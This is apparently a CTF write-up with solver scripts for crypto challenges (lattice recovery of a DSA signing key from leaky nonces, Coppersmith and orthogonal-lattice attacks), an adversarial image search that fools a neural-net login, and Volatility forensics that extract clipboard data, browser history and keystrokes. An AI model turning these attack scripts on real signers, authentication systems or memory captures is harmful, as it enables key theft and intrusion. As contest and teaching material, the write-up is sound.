Crypto
Hello, XCTF!
首先考虑取字符集中2个字符,通过换元将问题转化为经典的0-1背包问题。
然而这是行不通的:取2个字符时,hello一共仅有 2^{64} 种组合,而p是100bit的数,一个随机的p能够映射为”hello”的概率非常小。
因此进一步考虑取3个字符,此时组合数来到了3^{64},102bit,很可能有一个解能被映射为”hello”。
一个自然的想法就是在XCTFxctf字符集的ASCII码中寻找等差数列,这样通过换元可以使得目标向量的元素取值为{-1,0,1},更有希望规约出结果。于是我们得到了一个非常好的字符集:X、f、t
,其ASCII码间隔为14。
接下来随机生成100bit的素数p尝试规约,数十次就能得出一组可用的解。
D³
给一个平凡的 p 和 q,两个Garbled状态无法解密出原消息,只有随机到三个状态都是Functional的时候裁决器才会跳出循环,这时 \Delta=0,就拿不到flag。要拿到flag必须让三个芯片随机到三个状态,并且这三个状态都能成功解密。
Garbled状态的指数不是 -1,有经验的选手会想到GoogleCTF 2022 – Cycling。
计算集合C:
from sage.all import *
from tqdm import trange
from itertools import combinations
from hashlib import sha256
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', filename='result.txt')
e = 3
P_SIZE = 1024
DIFFICULTY = 8
R_factor_list = [
# 2,
3,
3,
7,
79,
2731,
4057,
8191,
121369,
22366891,
6740339310641,
10030854869257,
4929910764223610387,
4966300248405749059,
18526238646011086732742614043,
3340762283952395329506327023033,
167510000247425697384594847173622455701743569339841261429683667,
8342680841093063014359532631803433656669591074421858694040109486076573471951766107416262860801,
]
C = []
for r in trange(1, len(R_factor_list)):
for subset_of_R_factor_list in combinations(R_factor_list, r):
g = 2 * product(subset_of_R_factor_list) + 1
if is_prime(g):
C.append(g)
C = list(set(C))
C.sort()
print("Size of C: ", len(C))
求解lucky_prime:
for r in range(2, len(C)):
for subset_of_C in combinations(C, r):
p = 2 * product(subset_of_C) + 1
if int(p).bit_length() == P_SIZE and is_prime(p):
lucky = bin(int.from_bytes(sha256(str(p).encode()).digest(), "big")).endswith("0" * DIFFICULTY)
logging.info(f'{lucky}, {r}, {p}')
SignSystem
from Crypto.Util.number import *
from fpylll import *
from fpylll.fplll.gso import MatGSO
from fpylll.fplll.lll import LLLReduction
from fpylll import IntegerMatrix
import numpy as np
from pwn import remote, context
from hashlib import sha1
from random import randint
def find_linear_combination(basis_matrix, target):
basis = basis_matrix.rows() # the basis vectors
dim = len(basis) # basis is a list of sage vectors
if len(target)!=dim:
return "target vector does not have the right dimension"
basis_sage = []
basis_sage.append([vector(x) for x in basis])
basis_sage = basis_sage[0]
K = QQ # K is the rational field
VS = (K ** (dim)).span_of_basis(basis_sage) # we define the subspace generated by v[0],v[1],..,v[n-2]
try:
z = VS.coordinate_vector(vector(target))
z = vector(list(z))
return z
except ArithmeticError:
print("Oops! vector is not in the span.")
return
def mat2fp(A):
L = IntegerMatrix(A.shape[0],A.shape[1])
for i in range(A.shape[0]):
for j in range(A.shape[1]):
L[i,j] = int(A[i,j])
return L
def sage2fp(A):
L = IntegerMatrix(A.dimensions()[0],A.dimensions()[1])
for i in range(A.dimensions()[0]):
for j in range(A.dimensions()[1]):
L[i,j] = int(A[i,j])
return L
def kannan_cvp(B,t,b,termination):
I = []
gm_basis,_ = B.gram_schmidt()
t = find_linear_combination(gm_basis,t)
B = mat2fp(np.matrix(B))
M = MatGSO(B) # this is floating point Gram-Schmidt
M.update_gso()
rows = B.nrows
gram = [M.get_r(k,k) for k in range(rows)] # ||b_k*||^2, k=0,...,rows-1
mu = np.matrix([M.get_mu(k,j) for j in range(rows) for k in range(rows)]).reshape(rows,rows).transpose() #\mu_{i,j} for i>j
# step 2: initilaization
S = []
l=np.zeros(rows+1)
x=np.zeros(rows).astype(int)
c=np.zeros(rows)
y=np.zeros(rows)
j = -1
# compute the coefficient of t with respect to GS basis
x[rows-1] = ceil(t[rows-1] - np.sqrt(b)/np.sqrt(gram[rows-1]))# change :this is a new line
# step 3: termination condition in case the algorithm is too slow
i = rows-1; # change 1: i=0-->i=rows-1
counter = 0
while i<=rows-1:
# a termination condition
termination_condition = termination
if counter==termination_condition:
print("Termination condition activated. Maybe you need to increase it. Current value:",counter)
break
counter = counter + 1
#line 4:
c[i] = float( -sum(x[j]*mu[j,i] for j in range(i+1, rows)))
l[i] = gram[i]*(x[i] - c[i] - t[i])**2 # change 2: add -t[i]
sumli = sum(float(l[j]) for j in range(i,rows)) # square norm
#line 5
if sumli<=b:
if i==0:
j = j + 1
S.append([sum(x[j]*np.array(B[j]) for j in range(rows))])
x[0] = x[0] + 1
#line 6
else:
#line 7
i = i - 1
li_prime = sum(float(l[j]) for j in range(i+1,rows))
x[i] = ceil(t[i] - sum(x[j]*mu[j,i] for j in range(i+1, rows)) - float(sqrt( (b-li_prime)/gram[i]) ) ) # change 3 : add t[i]
#line 8:
else:
if i==rows-1:
break
if i<rows - 1:
i = i + 1
x[i] = x[i] + 1
return S
def build_matrix(n, delta, q, Cj):
Zero_Matrix = matrix(n,1)
C = 2^(delta+1) * matrix(Cj)
I = q * identity_matrix(n)
B = 2^(delta+1)*I
B_1 = block_matrix([[B,Zero_Matrix]])
B_2 = block_matrix([[C,1]])
B_3 = block_matrix([[B_1],[B_2]])
return B_3
def verify(pubkey, sig, msg):
p, q, g, y = pubkey
p = int(p)
q = int(q)
g = int(g)
y = int(y)
r, s = sig
if not 0 < r < q or not 0 < s < q:
return False
w = inverse(s, q)
Hm = int(sha1(msg).hexdigest(), 16)
u1 = Hm * w % q
u2 = r * w % q
v = pow(g, u1, p) * pow(y, u2, p) % p % q
return v == r
delta = 10
n = 19
dL = 2
ell = 160
msg = b"12346"
context.log_level = "debug"
io = remote("121.37.182.7", int(10089))
pub = eval(io.recvline()[len("your pubKey: "):])
print(pub)
p, q, g, y = pub
p = int(p)
q = int(q)
g = int(g)
y = int(y)
Hm = int(sha1(msg).hexdigest(), 16)
sigs = []
for i in range(n):
# sig = sign(pub, x, msg, lsb, msb)
io.recvuntil(b">")
io.sendline(b"1")
io.recvuntil(b"Which message to sign?: ")
io.sendline(msg)
sig = eval(io.recvline()[len("Signature: "):])
sigs.append(sig)
print(sigs)
A = []
B = []
for sig in sigs:
r, s = sig
A.append(-r * inverse(s, q) % q)
B.append(-Hm * inverse(s, q) % q)
for r in range(n):
print(r)
C = []
D = []
for i in [x for x in range(n) if x != r]:
C.append(int(mod((A[i] - A[r]) * 2^(-dL), q)))
D.append(int(mod((B[i] - B[r]) * 2^(-dL), q)))
M = build_matrix(n-1, delta, q, C)
M = M.BKZ(block_size=8)
t = [2^(delta+1)*D[i] + 2^ell for i in range(n-1)]+[0]
R2 = (2^ell*sqrt(n+1))**2
termination = 2^25
S = kannan_cvp(M,t,R2,termination)
Solutions = [S[i][0].tolist() for i in range(len(S))]
for sol in Solutions:
xx = abs(sol[n-1])
k = randint(1, q)
rr = pow(g, k, p) % q
Hm = int(sha1(b"get flag").hexdigest(), 16)
ss = int((Hm + xx * rr) * inverse(k, q)) % int(q)
sig = (rr, ss)
if verify(pub, sig, b"get flag"):
print("x:",xx)
print(sig)
break
io.interactive()
Mersenne
Mersenne-756839 Number Cryptosystem
随机数的汉明重量很小
二元copper恢复出f和g,利用r的汉明重量构建一个区分器。
from Crypto.Util.number import long_to_bytes
from math import sqrt
from sage.all import RR
from sage.all import Zmod
from pwn import *
import small_roots
def hamming_weight(a):
count = 0
while a:
count += a & 1
a >>= 1
return count
def attack(p, h, xi1, xi2, s=7):
x, y = Zmod(p)["x", "y"].gens()
f = x - h * y
X = int(RR(p) ** xi1)
Y = int(RR(p) ** xi2)
sols = []
for x0, y0 in small_roots.modular_bivariate_homogeneous(f, p, s, s, X, Y):
z = int(f(x0, y0))
if z % p == 0:
sols.append((x0, y0))
return sols
n = 607
p = 2 ** n - 1
w = int(sqrt(n) // 2)
xi1 = 0.5
xi2 = 0.5
flag = ["?"] * 336
i = 0
k = 1
while "?" in flag:
print(k)
io = process(["python3", "task.py"])
for i in range(336):
tmp = io.recvline().decode().split(" ")
c = int(tmp[0])
h = int(tmp[1])
sols = attack(p, h, xi1, xi2)
if len(sols) > 0:
for sol in sols:
f, g = sol
r = c * g % p
if hamming_weight(r) < 2 * w * w:
flag[i] = "0"
break
elif hamming_weight(r) > n - 2 * w * w:
flag[i] = "1"
break
else:
continue
print("".join(flag))
io.close()
k += 1
flag = "".join(flag)
print(long_to_bytes(int(flag, 2)))
L³
首先p-1是光滑的,即求解\mod p 下的离散对数是简单的。
根据题目我们有h=pk_1^{e_1}k_2^{e_2}k_3^{e_3}g_2^{-m}。随机选取一个 g,求离散对数得到
$$
\log_g{h_i}\equiv x_1\cdot e_{1i} + x_2\cdot e_{2i} + x_3\cdot e_{3i} – g_i\cdot m \pmod{\frac{p-1}{2}}
$$
其中x_1=\log_g{(pk_1)},x_2=\log_g{(pk_2)},x_3=\log_g{(pk_3)}。
output = """
...
"""
cs, rs = [], []
for line in output.strip().splitlines():
c, r = line.split()
cs.append(Integer(c))
rs.append(Integer(r))
from tqdm import tqdm
p = 47634778156793326222211295457294435344414376196297332543607099670993121993822332730701894639910252381211336086808578911482174150997631794515546363971894478567130429390527113665012271775792505132316219173972188546752622941451475780901894709298748035336471809980436142963215574345759672156406814352360732832062849469510069786198816208838258277942996772487419905554964562479326797878339676686823908291275244120235722435823068797225718540728486083491658618572189115349334890901321693772496551873669598169448244590466317519692432917152335494652064036088767227563708274903828520345485533114397984007806711414072206661146683
assert len(rs) == len(cs)
print(len(rs))
T = [discrete_log(Mod(r, p), Mod(rs[0], p)) for r in tqdm(rs)]
H = [discrete_log(Mod(c, p), Mod(rs[0], p)) for c in tqdm(cs)]
这个问题类似HLCP(Hidden Linear Combination Problem)和AHSSP(Affine Hidden Subset Sum Problem)
(我们可以称作Affine Hidden Linear Combination Problem哈哈哈)
应用正交格攻击。参考了maple对d3pack的wp:https://blog.maple3142.net/2023/04/30/d3ctf-2023-writeups/#d3pack
from Crypto.Util.number import long_to_bytes
n = 3
m = len(T)
print(f"n = {n}, m = {m}")
h = vector(H)
e = vector(T)
def find_ortho_zmod(*vecs):
assert len(set(len(v) for v in vecs)) == 1
L = block_matrix(
ZZ, [[matrix(vecs).T, matrix.identity(len(vecs[0]))], [ZZ((p - 1) / 2), 0]]
)
print("LLL", L.dimensions())
nv = len(vecs)
L[:, :nv] *= (p - 1) / 2
L = L.LLL()
ret = []
for row in L:
if row[:nv] == 0:
ret.append(row[nv:])
return matrix(ret)
def find_ortho_zz(*vecs):
assert len(set(len(v) for v in vecs)) == 1
L = block_matrix(ZZ, [[matrix(vecs).T, matrix.identity(len(vecs[0]))]])
print("LLL", L.dimensions())
nv = len(vecs)
L[:, :nv] *= (p - 1) / 2
L = L.LLL()
ret = []
for row in L:
if row[:nv] == 0:
ret.append(row[nv:])
return matrix(ret)
Mhe = find_ortho_zmod(h, e)
assert Mhe * h % ((p - 1) / 2) == 0
assert Mhe * e % ((p - 1) / 2) == 0
# Mhe[: m - n] is expected to be orthogonal to x
Lx = find_ortho_zz(*Mhe[: m - n]).T
# this should work:
# alpha = Lx.solve_right(h + s * e)
# but we don't know s, so we find a orthogonal basis to e to remove e
Me = find_ortho_zmod(e)
assert Me * e % ((p - 1) / 2) == 0
alpha = (Me * matrix(Zmod((p - 1) / 2), Lx)).solve_right(Me * h)
xa = Lx * alpha
s = (xa - h)[0] / e[0]
recovered_m1 = long_to_bytes(int(s))
print(recovered_m1)
这时会发现求解出的格基并不是我们想要的e1 e2 e3。
这是因为我们在e1中嵌入了一个额外的字节造成了不平衡:直观上Lx相当于是三个向量LLL算法后的结果,如果越不均匀则越难恢复。
一个好基是很难恢复出一个坏基的,因为坏基有很多个。然而本题有额外的特征:flag格式,来帮助我们判断哪个坏基是我们想要的。因此最后土味爆破线性组合的系数即可:
x1 = vector([x[0] for x in Lx])
x2 = vector([x[1] for x in Lx])
x3 = vector([x[2] for x in Lx])
print(x1[0].nbits(),x2[0].nbits(), x3[0].nbits())
import itertools
k = 1
for i, j in tqdm(itertools.product(range(-256, 256), range(-256, 256))):
e1 = (i * x1 + j * x2 + k * x3).apply_map(abs)
recovered_m2 = b"".join([long_to_bytes(e1_i)[32:32+1] for e1_i in e1])
flag = bytes([a ^^ b for a, b in zip(recovered_m1, recovered_m2)])
if flag.startswith(b"RCTF{"):
print(i, j, k)
print(flag)
break
# RCTF{___good_basis___bad_basis___How_about_my_1_byte_imbalance_basis___}
SignSystem: Dilithium
Misc
Logo: Signin
直接将ROIS_LOGO的字符串复制给变量logo即可。
Logo: 2024
需要对ROIS_LOGO进行压缩编码,同时解码的算法也必须比较简单。
此外,题目为了防止不安全的代码执行,用RestrictedPython
对语法进行了限制,测试会发现for
语句、+=
等运算符无法使用。
不考虑等距出现的换行符,ROIS_LOGO仅包含井号和空格两种字符,那么我们考虑用一个列表记录连续出现的相同字符数量:
def count_consecutive_chars(s):
counts = []
prev_char = None
current_count = 0
for char in s:
if char != prev_char:
if prev_char is not None:
counts.append(current_count)
current_count = 1
prev_char = char
else:
current_count += 1
counts.append(current_count)
return counts
s = ROIS_LOGO.replace("\n", "")
a = count_consecutive_chars(s)
print(str(a).replace(" ", ""))
print(len(str(a).replace(" ", "")))
# [128,1,1,1,73,3,2,7,11,1,2,1,2,10,11,19,8,13,10,3,2,11,9,15,10,19,6,18,7,3,8,7,8,5,26,4,13,4,12,4,6,3,11,5,6,4,11,3,14,4,12,4,22,4,13,4,5,4,11,4,13,4,12,4,22,4,14,3,4,4,13,3,13,3,13,4,22,4,14,4,3,4,13,4,12,3,14,5,20,4,14,4,3,3,15,3,12,3,15,6,18,4,14,3,4,3,15,3,12,3,17,6,16,4,13,4,4,3,15,3,11,4,20,6,13,4,12,4,5,3,15,3,11,4,22,5,12,4,4,11,6,3,14,4,11,4,24,5,10,4,4,9,8,4,13,4,11,4,26,4,9,4,9,4,9,3,13,3,12,4,26,4,9,4,10,4,8,4,11,3,13,4,26,4,9,4,11,4,8,4,9,4,13,4,13,4,9,4,9,4,12,3,9,5,6,3,12,7,15,5,4,5,10,3,14,1,11,9,12,18,9,11,13,1,31,2,46,4,112]
# 548
用列表存储需要548个字符,还需要进一步压缩。对列表进行排序,分析元素取值范围:
print(sorted(a))
# [1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 17, 18, 18, 18, 19, 19, 20, 20, 22, 22, 22, 22, 24, 26, 26, 26, 26, 31, 46, 73, 112, 128]
发现大部分元素都比较小,建立列表元素与printable的ASCII之间的映射即可,对少数不在范围内的做特别处理。
Ezlogin
找到一个最小化到目标特征向量距离的图像
import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import torchvision.transforms as transforms
import os
from sklearn.manifold import TSNE
from torch.utils.data import DataLoader
import matplotlib.pyplot as plt
import numpy as np
from tqdm import tqdm
import imageio as iio
import warnings
import random
import datetime
import sys
warnings.filterwarnings("ignore")
device = torch.device("cuda:0")
num_epochs = 50
batch_size = 512
learning_rate = 1e-4
#train_data = dataset = torchvision.datasets.EMNIST(root='data/',
# download=True,
# transform=transforms.ToTensor(),
# train=True,
# split='balanced')
#test_data = dataset = torchvision.datasets.EMNIST(root='data/',
# download=True,
# train=False,
# transform=transforms.ToTensor(),
# split='balanced')
#
#train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True)
#test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False)
class CNN(nn.Module):
def __init__(self):
super(CNN, self).__init__()
self.conv1 = nn.Conv2d(1, 2, 3, padding=1)
self.conv2 = nn.Conv2d(2, 8, 3, padding=1)
self.conv3 = nn.Conv2d(8, 32, 3, padding=1)
self.pool = nn.MaxPool2d(2, 2)
self.fc1 = nn.Linear(32 * 3 * 3, 1024)
self.fc2 = nn.Linear(1024, 512)
self.fc3 = nn.Linear(512, 256)
self.fc4 = nn.Linear(256, 128)
self.fc5 = nn.Linear(128, 47)
def forward(self, x):
x = self.pool(self.conv1(x))
x = self.pool(self.conv2(x))
x = self.pool(self.conv3(x))
x = x.view(-1, 32 * 3 * 3)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = F.relu(self.fc4(x))
x = self.fc5(x)
return x
if __name__ == "__main__":
loaded = False
try:
model = CNN().to(device)
model.load_state_dict(torch.load('model.pt.state'))
loaded = True
except:
if os.path.exists("model.pt"):
model = torch.load('model.pt')
loaded = True
else:
model = CNN().to(device)
model.compile()
def test_dist(input_data:torch.Tensor):
try:
#img = iio.imread(sys.argv[1])
#img_tensor = torch.tensor(img.tolist(), dtype=torch.float32) / 255.0
#img_tensor = img_tensor[:,:,1].unsqueeze(0)
#model.eval()
#feature = model(img_tensor.to(device)).detach().cpu().numpy()
#print(feature)
feature = torch.tensor([[-6.19499969e+01, -1.56200895e+01, -3.52624054e+01, -1.34233132e-01,
-6.48261490e+01, -1.47979248e+02, -5.15059547e+01, -1.14444227e+01,
4.33434563e+01, -3.69645386e+01, 2.00579977e+00, 4.74611549e+01,
-6.33986130e+01, -1.57887411e+01, -2.87570419e+01, -5.35021248e+01,
-1.73028266e+00, -3.61370316e+01, -7.58331375e+01, -7.46535110e+01,
-7.24118347e+01, -4.76773834e+01, 6.51892662e+00, -5.07196846e+01,
-1.03041328e+02, 4.72574463e+01, 9.03826065e+01, 5.30947495e+01,
-5.03226738e+01, -1.50200531e+02, -3.46447792e+01, -4.23207245e+01,
6.44030609e+01, -5.05351334e+01, -4.11206970e+01, -2.18300457e+01,
2.70750694e+01, -1.00022865e+02, 3.77698517e+01, -3.60703392e+01,
-6.88536682e+01, 1.16945248e+01, -4.62400284e+01, -4.79546585e+01,
6.10636101e+01, -1.12650543e+02, -1.34837357e+02,]], dtype=torch.float32).numpy()
#model.eval()
feature_new = model(input_data.to(device)).detach().cpu().numpy()
dist = np.sqrt(np.sum((feature - feature_new)**2))
return dist
#tsne_input = torch.concat([tsne_input, feature.cpu()])
#tsne_color.append(48)
except:
__import__("traceback").print_exc()
print("error occurred!")
pass
def mutation(input_data:torch.Tensor):
input_data = input_data.clone()
x_pos = random.randint(0, 27)
y_pos = random.randint(0, 27)
pot_val = random.randint(0, 255)
pot = float(pot_val if pot_val < 255.0 else 255.0) / 255.0
pot = float(0) if pot < 0 else pot
input_data[0][x_pos][y_pos] = pot
#晕染
input_data[0][x_pos-1 if x_pos-1 >= 0 else 0][y_pos] = pot / 2
input_data[0][x_pos][y_pos-1 if y_pos-1 >= 0 else 0] = pot / 2
input_data[0][x_pos+1 if x_pos+1 < 28 else 27][y_pos] = pot / 2
input_data[0][x_pos][y_pos+1 if y_pos+1 < 28 else 27] = pot / 2
x_pos = random.randint(0, 27)
y_pos = random.randint(0, 27)
pot_val = random.randint(0, 255)
pot = float(pot_val if pot_val < 255.0 else 255.0) / 255.0
pot = float(0) if pot < 0 else pot
input_data[0][x_pos][y_pos] = pot
#晕染
input_data[0][x_pos-1 if x_pos-1 >= 0 else 0][y_pos] = pot / 2
input_data[0][x_pos][y_pos-1 if y_pos-1 >= 0 else 0] = pot / 2
input_data[0][x_pos+1 if x_pos+1 < 28 else 27][y_pos] = pot / 2
input_data[0][x_pos][y_pos+1 if y_pos+1 < 28 else 27] = pot / 2
return input_data
def crack():
init_data = torch.tensor([[[0 for j in range(0, 28)] for i in range(0, 28)]], dtype=torch.float32)
seeds = [(init_data, 50000), ]
model.eval()
success = False
while not success:
new_inputs = []
for seed in tqdm(seeds):
for m_idx in range(0, 50):
new_input = mutation(seed[0])
new_dist = test_dist(new_input)
new_inputs.append((new_input, new_dist))
if new_dist < 5:
success = True
break
if success:
break
if not success:
#print(new_inputs)
seeds = sorted(new_inputs + seeds, key=lambda x: x[1])[:128]
print(datetime.datetime.now(), [x[1] for x in seeds])
save_np = (seed[0][0].cpu().numpy()*255)
iio.imwrite('output.bmp',save_np.astype(np.uint8))
else:
print(new_inputs[-1])
crack()
然后远程交互即可
import imageio as iio
import sys
import numpy as np
from tqdm import tqdm
from pwn import *
context.log_level = "debug"
def generate_pow():
with open('/dev/random', 'rb') as f:
random_bytes = f.read(8)
sha256_hash = hashlib.sha256(random_bytes).hexdigest()
print("SHA-256 hash:", sha256_hash)
print("First 6 bytes:", random_bytes[:6].hex())
last_2_bytes = input("Enter the last 2 bytes: ")
last_2_bytes_bytes = bytearray.fromhex(last_2_bytes.strip())
new_random_bytes = random_bytes[:6] + last_2_bytes_bytes
new_sha256_hash = hashlib.sha256(new_random_bytes).hexdigest()
if new_sha256_hash == sha256_hash:
return True
else:
return False
def pow(io):
io.readuntil("SHA-256 hash:")
hash_target = io.readline().strip().decode()
io.readuntil("First 6 bytes:")
prefix = bytes.fromhex(io.readline().decode().strip())
for i in tqdm(range(0, 0x100)):
for j in range(0, 0x100):
bytes_now = prefix + i.to_bytes(1,'little',signed=False) + j.to_bytes(1,'little',signed=False)
hash_now = hashlib.sha256(bytes_now).hexdigest()
if hash_now == hash_target:
return bytes_now[-2:].hex()
if __name__ == "__main__":
image = iio.imread(sys.argv[1])
image_bytes = np.array(image).tobytes()
#print(image)
io = remote("47.94.109.95", 40999)
suffix = pow(io)
io.readuntil('Enter the last 2 bytes: ')
io.sendline(suffix)
#io.interactive()
#io.readuntil('input image bytes(28 * 28):')
io.send(image_bytes)
io.interactive()
FindAHacker
使用vol对其进行取证
提取出文件之后
对其进行逆向
写出解密脚本即可
a = bytes.fromhex("353F4E2B566B746A5D6D6F736C773868596E20213C714F09367D557251322766")
b = b'\x0C\x0F' + b'+Ho]FSdYYK_G[[k_' + b'\x15\x16' + b']' b'\x12' + b'vk' + b'\x07\x1B' + b'3Jg' + b'\x07\x11\x00'
c = b''
print(len(b))
for i in range(0,32):
c += (a[i] ^ b[i]).to_bytes(1, 'little', signed=False)
print(c)
gogogo
剪贴板有东西,后续会用到
vol -f gogogo.raw --profile=Win7SP1x86_23418 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x2c01b1 0xfcf3c570 cwqs
pslist
能看到firefox的进程
vol -f gogogo.raw --profile=Win7SP1x86_23418 pslist
...
0x880b27a0 firefox.exe 3112 3072 77 993 1 0 2024-05-23 07:14:04 UTC+0000
0x85d97708 firefox.exe 2656 3112 27 295 1 0 2024-05-23 07:14:05 UTC+0000
0x85df5d20 firefox.exe 2632 3112 10 155 1 0 2024-05-23 07:14:05 UTC+0000
0x86420d20 firefox.exe 304 3112 25 284 1 0 2024-05-23 07:14:05 UTC+0000
0x86428d20 firefox.exe 3304 3112 24 281 1 0 2024-05-23 07:14:05 UTC+0000
0x8646cb00 firefox.exe 1456 3112 21 258 1 0 2024-05-23 07:14:06 UTC+0000
0x86482d20 firefox.exe 1368 3112 21 256 1 0 2024-05-23 07:14:06 UTC+0000
0x86487d20 firefox.exe 3052 3112 21 256 1 0 2024-05-23 07:14:06 UTC+0000
...
将firefox存放历史记录的数据库dump下来
vol -f gogogo.raw --profile=Win7SP1x86_23418 filescan | grep places.sqlite
...
0x000000007f634f80 1 1 R--rw- \Device\HarddiskVolume1\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\s1qv2uam.default-esr\places.sqlite
...
其中两个url是有用的
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
https://space.bilibili.com/3546644702301067
第一个百度网盘的提取码是剪贴板获得的cwqs
,下载得到pwd=?.zip
。第二个是一个b站用户主页,个人签名是pwd=uid
,所以很明显uid是前面压缩包的密码。
lqld.pcapng
是键盘流量,提取如下
niuo ybufmefhui kjqillxdjwmi uizebuui
dvoo
udpn uibuui jqybdm vegeyisi
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi
zvjnybufme hkwjdeggma
na mimajqueviig
kyllda doqisl ba
pnynqrpn
qrxcxxzimu
键盘流量将如实记录键盘输入,若考虑实际生活场景则不会有人以输入密文的形式使用电脑。中文环境下可联想到中文相关的输入法。使用微软双拼方案可获得中文文本如下
你说有什么方式看起来像加密实则不是
对哦
双拼是不是就有点这个意思
这么说来借用过我电脑的人都没法好好打字
最近有什么好玩的梗吗
那密码就设置成
快来打夺旗赛吧
拼音全拼
全小写字母
因此flag.zip
的密码是kuailaidaduoqisaiba
,打开获得flag
Something in clipboard, we will use it later.
vol -f gogogo.raw --profile=Win7SP1x86_23418 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x2c01b1 0xfcf3c570 cwqs
And the result of pslist
, we can see that firefox.exe
is running.
vol -f gogogo.raw --profile=Win7SP1x86_23418 pslist
...
0x880b27a0 firefox.exe 3112 3072 77 993 1 0 2024-05-23 07:14:04 UTC+0000
0x85d97708 firefox.exe 2656 3112 27 295 1 0 2024-05-23 07:14:05 UTC+0000
0x85df5d20 firefox.exe 2632 3112 10 155 1 0 2024-05-23 07:14:05 UTC+0000
0x86420d20 firefox.exe 304 3112 25 284 1 0 2024-05-23 07:14:05 UTC+0000
0x86428d20 firefox.exe 3304 3112 24 281 1 0 2024-05-23 07:14:05 UTC+0000
0x8646cb00 firefox.exe 1456 3112 21 258 1 0 2024-05-23 07:14:06 UTC+0000
0x86482d20 firefox.exe 1368 3112 21 256 1 0 2024-05-23 07:14:06 UTC+0000
0x86487d20 firefox.exe 3052 3112 21 256 1 0 2024-05-23 07:14:06 UTC+0000
...
Find the history database places.sqlite
and dump it.
vol -f gogogo.raw --profile=Win7SP1x86_23418 filescan | grep places.sqlite
...
0x000000007f634f80 1 1 R--rw- \Device\HarddiskVolume1\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\s1qv2uam.default-esr\places.sqlite
...
Query the database, and only 2 URLs is useful
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
https://space.bilibili.com/3546644702301067
The first one needs a password, but we’ve found it in clipboard. Get pwd=?.zip
. And in the second one, we can find 2 keywords: pwd=uid
and UID 3546644702301067
. So this number is the password for the zip file.
lqld.pcapng
logged some keyboard input. It looks like this
niuo ybufmefhui kjqillxdjwmi uizebuui
dvoo
udpn uibuui jqybdm vegeyisi
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi
zvjnybufme hkwjdeggma
na mimajqueviig
kyllda doqisl ba
pnynqrpn
qrxcxxzimu
Keyboard logging will record the keyboard input as it is. If consider real life scenarios, no one will use PC in the form of inputting cipher text. The Chinese environment can be associated with Chinese-related input methods. So it just a type of pinyin input method, “double pinyin (双拼)”. There’s too many schema to use, so I choose a widely used schema MSPY, which also appeared in Pinyin input method – Wikipedia. Then we can type it by double pinyin
你说有什么方式看起来像加密实则不是
对哦
双拼是不是就有点这个意思
这么说来借用过我电脑的人都没法好好打字
最近有什么好玩的梗吗
那密码就设置成
快来打夺旗赛吧
拼音全拼
全小写字母
# I wiil try to translate it myself, it should be closer to what I want to express.
Are there something that looks like encryption but it is actually not?
Oh, I know
Double pinyin may in line with my idea
So people who have borrowed my computer can't type properly
Are there any interesting memes recently?
Then I will set the password to:
Let's play Capture the Flag
Pinyin full spelling
And all lowercase letters
So the password for flag.zip
is kuailaidaduoqisaiba
. Open it and get the flag!
sec-image
灵感来源:https://www.bilibili.com/video/BV1Zf4y1f7xu/,观前提示:声音调小一些,视频声音有点炸裂
实际上就是一个2*2的格子的每一个格子都是各自来自于一张完整图片的像素,视觉上看就会达到重叠的效果
from PIL import Image
for i in range(10):
image = Image.open(f"challs/misc/sec-image/dist/flag{i}.png")
for j in range(4):
flag = image.resize((400,400), resample=Image.NEAREST, box=(0,0,799+(j%2),799+(j//2)))
flag.save(f'challs/misc/sec-image/sol/result/{i}-{j}.png')
# RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}
slaythespire
如题,打到3000分就能拿到flag
Pwn
mine
菜鸡出的菜鸡题,参考了去年强网杯的WTOA这道题目,难度应该主要在逆向
程序主体是一个扫雷小游戏,明面上提供了两个功能,揭开与标记,但实际上还有第三个功能
if (action == 'U') {
uncoverSquare(row, col);
} else if (action == 'M') {
markSquare(row, col);
} else if (player->score) {
selfboard();
}
在ida反编译的结果
if ( v4 == 'U' )
{
wasm_0_::function_13_(a1, a1, *(unsigned int *)(v3 + v2 + 72), *(unsigned int *)(v3 + v2 + 68));
}
else if ( v4 == 'M' )
{
wasm_0_::function_14_(a1, a1, *(unsigned int *)(v3 + v2 + 72), *(unsigned int *)(v3 + v2 + 68));
}
